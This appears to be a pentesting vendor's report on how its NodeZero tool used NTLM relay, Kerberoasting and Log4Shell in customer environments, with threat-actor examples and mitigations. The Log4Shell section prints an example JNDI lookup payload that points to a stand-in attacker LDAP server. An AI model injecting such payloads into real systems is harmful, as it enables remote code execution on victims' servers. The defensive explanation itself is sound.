- Windows Man-in-the-Middle Attacks (NTLM Relay)
- Windows Active Directory Elevation of Privilege Escalation Vectors (Kerberoasting)
- Zero-Day and N-Day Vulnerabilities
- Implications and Policy Recommendations
“But my EDR should’ve stopped that….”
This is a common refrain that we hear from Horizon3.ai customers. We hear companies complain that they are spending large sums of money on EDR solutions only to see them fail at the first sign of trouble. Sometimes these companies are not able to detect an unauthorized host like NodeZero in their environment and prevent it from dumping a SAM database full of credentials. This leads us to question if the company can detect nefarious actors, log what happened effectively, alert the cybersecurity professionals to them, and stop the threat actor from acting.
We often find that it is not necessarily the tool itself that failed, but rather it is a failure of configuring the tool properly.
Of course, we only know that these tools are misconfigured, because our customers take the perspective of the attacker when running pentests with NodeZero. By running NodeZero, our customers can see what tactics and techniques (like NTLM relay or Kerberoasting), along with critical data like timestamps, is used to find exploits and achieve critical impacts. From there, we can assess whether the customer’s security team did in fact detect, alert, stop and log the right actions.
Windows Man-in-the-Middle Attacks (NTLM Relay)
A Man-In-The-Middle (MITM) attack is one of the most common cyber threat vectors that is plaguing web applications and servers. In pentests over the last year, NodeZero was able to use MITM attacks nearly 1500 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host) and captured almost 1400 credentials. In its basic form, a man-in-the-middle attack involves an adversary who positions themselves in the middle of communication between two targeted parties (whether that be two people, two systems, or a person and a system). The adversary may behave passively, choosing to only eavesdrop on the conversation without modifying any of the messages being exchanged.
Likewise, the adversary can be active, modifying messages, transmitting messages themselves, or even deleting messages from the conversation. Not only are MITM attacks a violation to one’s privacy, but they also make it more difficult to prove true authentication.
Windows New Technology LAN Manager (NTLM) is a Microsoft authentication protocol that employs a series of three messages to verify the identity of a client. An NTLM establishes this three-way handshake and starts a path with the server and client. The server will respond to the client’s message with a request for the hash of their password. If the client’s response matches that of the domain controller’s encryption on file, their identity is verified. A NTLM relay attack involves the same principle of conducting a MITM attack; the adversary positions themselves between two target parties, but these targets happen to be a client and a server.
The adversary then attempts to intercept the authentication traffic being exchanged between the client and server, as well as modifying any requests sent from the client to steal their credentials. As of 2019, two highly critical vulnerabilities were discovered in NTLM versions, mainly allowing for attackers to perform RCE on Windows servers and to bypass the Message Integrity Code (MIC). MIC is a protocol established by Microsoft to ensure the integrity of messages sent over the network, but attackers can abuse the protection to access user credentials in the Active Directory Federation Services environment (CVE-2019-1166) .
Threat Intelligence Reference
A good example of a MITM attack centers around the Russian state hacker group Energetic Bears (aka DragonFly) and the targeting of two San Francisco airport websites. With their overall intent to steal Windows credentials using NTLM hashes to access the airport’s internal network, the group used credentials to move laterally within the network to conduct “reconnaissance, data theft, or sabotage.” As one of Russia’s most active APTs, their attacks like this are primarily focused on the energy sector (hence their name), however, they have turned attention to the aviation and aerospace sectors. By implementing mitigations outlined below, organizations can help prevent MILM attacks in the future, while hardening their cyber security posture.
There are several mitigations that can be applied to defend against NTLM relay attacks, as well as MITM attacks. Organizations must not make the mistake of trying to kill two birds with one stone, for both attack vectors deserve separate attention in mitigating their severity. To defend against MITM attacks, it is recommended that organizations manage an Intrusion Detection System (IDS), require the use of Virtual Private Networks (VPNs) on all workstations, limit user access privileges, and, obviously, employ strong data encryption in all applications (not just public-facing apps). To specifically protect against NTLM relay attacks, organizations should regularly be installing Microsoft patches and updates, turning on SMB signings, configure ADFS and web servers to accept only certain authentication requests, and use the Kerberos authentication system if they are not already (a more secure successor to NTLM).
Windows Active Directory Elevation of Privilege Escalation Vectors (Kerberoasting)
Over the last year, we have continued to see threat actors target the Windows Active Directory (AD) because organizations rely heavily on AD services to make policy configurations, user management, and permissions easy to manage. One of the most common attacks against domain controllers that house AD is Kerberoasting – a type of privilege escalation attack that exploits the Kerberos protocol, harvesting password hashes for user accounts with ServicePrincipleName (SPN) values.
While this system is employed in nearly every AD environment, an increase in Kerberoasting puts user privileges at major risk. As evidence to this fact, Nodezero discovered nearly 400 instances of Kerberos vulnerabilities in a Horizon3.ai internal pentest (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). As a privilege escalation vector, kerberoasting has increased in recent years due to the architectural vulnerabilities in Kerberos itself and the failure to detect red flags in user behavior. Such red flags often include many service tickets requesting excessive permissions by a seemingly legitimate user account. While some may find this behavior alarming and cause for further investigation, servers and administrators often fail to detect the behavior altogether.
Threat Intelligence Reference
For instance, an alleged member of the cyber threat group Evil Corp (UNC2165) named mx1r attempted to launch a Kerberoasting attack against a top Workforce Management corporation in Apr 2022. As part of a larger attack, mx1r used Evil Corp aligned TTPs in an attempt to gain access to the target system by cracking passwords within Windows Active Directory using the Kerberos authentication protocol. Although unsuccessful, this attack highlights the continued presence of cyber threat actors and their focus on attacks targeting a company’s AD through Kerberoasting protocols.
Just as it is for cyber threat actors, Kerberoasting is a common technique in the NodeZero arsenal of attacks. NodeZero has used kerberoasting against our customers’ environments over 300 times in the last year (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).
While kerberoasting may pose another frustrating problem to fight, there are several countermeasures that can be taken to protect clients and servers against its threat, including: requiring advanced passwords for logging into AD accounts (25 or more characters, employing special characters, numbers, upper- and lower-case letters, etc.), limiting groups with domain controller rights, changing passwords on a periodic basis, and creating separate user and admin accounts to balance privileged access on specific services, (etc). Deploying “honey” accounts, or false accounts that trick attackers into exposing their compromise is also a highly effective way to trigger an alert if a login or service ticket is wrongfully achieved. Overall, for the safety of user accounts and privileges, Kerberos should be closely monitored because of its vital importance to the Windows OS and AD environment.
Zero-Day and N-Day Vulnerabilities
With the emphasis placed by popular culture and the media, we understand the fear associated with Zero-Day vulnerabilities. Zero-Days often have a severe impact precisely because of their unknown nature. Adversaries can take full advantage of exploiting Zero-Day vulnerabilities until they are disclosed and patches or mitigation measures are developed and shared.
At Horizon3,.ai we choose to not fear the unknown and the uncontrollable. Instead, we work with our customers to counter the vulnerabilities and weaknesses that we know threat actors are actively seeking to exploit.
That is why we choose to focus on N-Day vulnerabilities or those vulnerabilities that have been recently discovered, and patches or mitigation measures are made available to the public. We often alert our customers through our FLARE notifications to a newly released vulnerability that we know is potentially exploitable in their environment, the availability of patches and fix actions to remediate the weakness, and the ability to run a pentest to verify that the corrective actions were successful. We also continually update our customers on any developments on the specific vulnerability, such as the continuing exploitation by malicious cyber threat actors.
For example, one vulnerability that has received a lot of public attention is Log4Shell (CVE-2021-44228) . Over the last year, NodeZero exploited the Log4Shell vulnerability over 300 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).
Apache’s log4j or log4j2 (updated version) is a Java-based logging library and commonly implemented Java logging framework . Any application that has input logged by an earlier log4j version is potentially at risk of the application communicating with malicious servers and allowing RCE to be performed by an attacker. An adversary targeting platforms using log4j will use the JNDI lookup feature. When it sees the ${jndi:ldap://malicious.com/file} in the log, it uses the JNDI feature to send a request to the attacker-controlled LDAP server. The ad hoc servers established by the attacker then receive the string request from the victim app, usually with a payload exploit pre-installed. An attacker will send a string request from the victim app to request the malicious payload from the attacker’s server. Either method causes the application to interpret malicious string code as a normal instruction, resulting in a successful compromise.
Fortunately for our customers, we provide an extensive list of mitigation actions inside NodeZero to prevent threat actors from exploiting the Log4Shell vulnerability and other critical vulnerabilities. If log4j or log4j2 are enabled on a public-facing host like webservers or web applications, cyber threat actors can trigger arbitrary java code on the target system. Several organizations believe that by implementing demilitarized zone (DMZ) firewalls or web security tools they will be able to prevent attackers from accessing applications with log4j2 enabled. However, adversaries who maneuver around these measures will find that they can easily exploit the Log4Shell vulnerability and with serious consequences. They can compromise third party software, bounce from one compromised app or device to another, and ultimately take control over an organization’s entire network if undiscovered.
Figure #9: A major American media outlet runs a pentest with NodeZero and finds that the Log4Shell vulnerability could lead to a critical infrastructure compromise by cyber threat actors if left unfixed.
Threat Intelligence Reference
Although CVE-2021-44228 was released late December 2021 we are still seeing malicious cyber threat actors leverage Apache vulnerabilities, especially state-actors such as China through APT groups. For example, the Chinese State-sponsored espionage group Budworm (APT27) has resurfaced on US soil after 6yrs of silence. In early Oct 2022, Budworm exploited Log4Shell vulnerabilities to attack an unnamed US state legislature’s servers to install webshells critical for the deployment of Chinese software (HyperBro, PlugX, Cobalt Strike, and credential dumping software). By using APT’s, such as Budworm, China illuminates vulnerable and exploits backdoors to sensitive data and information, taking over the target system through flaws like Log4j.
Since numerous applications are built with Java components, the Log4Shell vulnerability is a highly critical exposure in several areas of an organization’s security network. Not only are public-facing applications at risk, but also critical infrastructure (such as in VMware products highlighted in our example above) and open-source projects (such as Apache Solar, Druid, etc.) if log4j is used. Across multiple platforms and industries, the ubiquitous Log4Shell vulnerability can be linked and is embedded in numerous applications, making it even harder to find and fix.
Therefore, to mitigate this threat, all applications must be continuously checked for the use of log4j, as well as if that version is particularly vulnerable. We recommend updating log4j to a patched version, (provide link/ref) establishing URL rules (for blocking lookups from botnets and malicious LDAP servers), and check if the JNDI feature may be disabled on apps without severely impacting their functions.
Implications and Policy Recommendations
As customers begin to run a regular cadence of pentests and the aforementioned find, fix, verify loop, we often find that customers’ security teams will begin to ask why NodeZero was still able to achieve critical impacts like domain compromise when they have security tools in place that should be able to stop the threat. Meaning, the security team, and the tools that an organization employs are not able to detect, log, alert and stop threats before they occur.
While we do not make recommendations of which specific cybersecurity tools to employ outside of NodeZero, we do recommend that organizations reach out to the vendors of the security tools that they do employ to ensure that they are installed and configured correctly. Further, if a specific tool is not adept at stopping a given threat, we recommend taking note of that limitation and finding other tools or implementing other mitigation strategies to correct the issue.
